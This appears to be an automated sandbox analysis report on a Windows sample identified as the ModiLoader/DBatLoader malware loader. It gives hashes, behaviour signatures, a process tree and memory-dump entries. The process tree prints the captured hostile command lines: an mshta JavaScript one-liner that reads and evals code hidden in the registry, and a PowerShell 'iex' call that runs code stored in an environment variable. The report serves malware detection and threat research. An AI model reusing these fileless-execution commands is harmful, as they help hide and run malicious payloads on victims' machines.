Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-05-2024 08:26

General

  • Target

    11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe

  • Size

    265KB

  • MD5

    11e27faa8cf80aa4d6b08e31845211ff

  • SHA1

    8e2706830d2f3d04f66746a342a5920a1ca04d76

  • SHA256

    a49fa2fd171c274cfcdf1275eeee73052ac43e233951fdd84a1e2f9a8db57614

  • SHA512

    c026e87bb28c505a37f41614f2d03690d3b7ff7c986483bb4f4aafe75cd9d466f4759080eebe4006fe6d6424b6fb2214c2a70c48f86b43f6f3f1263cfae8614e

  • SSDEEP

    6144:veX94nYY+uUMFemOFu3Ksm2Yn+EE9j+ivEyPYxJQeH:OSnYPweZnl+EER+iv6IeH

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe"
      2⤵
        PID:3680
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:kjDPR0VM="rD";e6e6=new%20ActiveXObject("WScript.Shell");qcJAF5="CKIOJw";zc0YT=e6e6.RegRead("HKLM\\software\\Wow6432Node\\378PbP\\u1J3rt");zlS0IM="xG43b";eval(zc0YT);twaHAV4K="y";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ggudmrj
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4464

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ciazaan.jii.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3680-7-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-11-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-6-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-9-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-4-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/3680-8-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-10-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-12-0x0000000000860000-0x0000000000936000-memory.dmp

      Filesize

      856KB

    • memory/3680-2-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/3680-5-0x0000000000400000-0x000000000043A000-memory.dmp

      Filesize

      232KB

    • memory/4464-30-0x00000000063E0000-0x000000000642C000-memory.dmp

      Filesize

      304KB

    • memory/4464-16-0x0000000005040000-0x0000000005062000-memory.dmp

      Filesize

      136KB

    • memory/4464-17-0x0000000005860000-0x00000000058C6000-memory.dmp

      Filesize

      408KB

    • memory/4464-18-0x00000000058D0000-0x0000000005936000-memory.dmp

      Filesize

      408KB

    • memory/4464-32-0x0000000006270000-0x000000000628A000-memory.dmp

      Filesize

      104KB

    • memory/4464-28-0x0000000005940000-0x0000000005C94000-memory.dmp

      Filesize

      3.3MB

    • memory/4464-29-0x0000000005DF0000-0x0000000005E0E000-memory.dmp

      Filesize

      120KB

    • memory/4464-14-0x00000000026D0000-0x0000000002706000-memory.dmp

      Filesize

      216KB

    • memory/4464-31-0x0000000007660000-0x0000000007CDA000-memory.dmp

      Filesize

      6.5MB

    • memory/4464-15-0x0000000005230000-0x0000000005858000-memory.dmp

      Filesize

      6.2MB